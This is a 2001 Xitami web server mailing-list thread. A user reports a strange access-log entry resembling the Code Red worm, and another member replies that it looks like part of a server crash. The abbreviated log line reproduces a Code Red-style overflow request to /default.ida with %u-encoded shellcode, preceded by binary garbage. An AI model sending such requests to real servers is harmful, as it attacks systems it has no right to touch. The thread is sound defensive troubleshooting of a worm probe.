[Xitami] Curiouser log entry, like code red

Jason xitami@lists.xitami.org
Thu, 9 Aug 2001 19:23:42 -0600 

That looks like part of a xitami crash in your log files.

-----Original Message-----
From: xitami-admin@lists.xitami.org [mailto:xitami-admin@lists.xitami.org] On Behalf Of tsw
Sent: Thursday, August 09, 2001 11:49 AM
To: xitami@lists.xitami.org
Subject: [Xitami] Curiouser log entry, like code red


I recently got a single HTTP request, resembling ver. 2 of 'Code Red' but containing a *lot* of stuff at the beginning, much more than code red's N's and X's. Has anyone seen this before, or know what it is? I can email or post the entire request string if someone would like it. Below is an abbreviated copy; the spaces at the beginning are part of the logfile entry. 

                                                                                                ·4¦=¡S¤‚¨<Ó¬	JE£UšÅoÖŸSÿWÀ ×^Ü
„G(-!er¢’·­ŸªñtMWßôþÿó(ÄÌ€~ÙžzD&«ï¨Î]*[Ž±eιyš€Ì&–ô;û•Š"/}‚/ë
€¦› c™C´g]M!%Û‰eÈ®*3ä†ëÆÿó(ÄÍÐVXFrMÙBC‰†á|*DÚ(8lë‚}ÅhJ¿é«Ýþx¥?€ -$%¸ ½(Ï×*÷5d•ù ÿÌý¼-ßåÿó(ÄÌ€6Ø^+Ò...  (a whole lot of the same stuff) ...m¨å´ hR±EKÈdpÇ>™5вŠ2­ÿó(ÄÌÀFØ^SØ,p&r/č2“Åí±}ËW¹ã€(b«J-?‹¦¨ö:À ríÀH· Õ™211.198.129.71 - - [05/Aug/2001:21:59:57 +0000] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a%20 HTTP/1.0" 404 0 "" ""

Thanks,
S. Wallace


--
Xitami Users Mailing List -- For Xitami support
To unsubscribe: http://lists.xitami.org/mailman/listinfo/xitami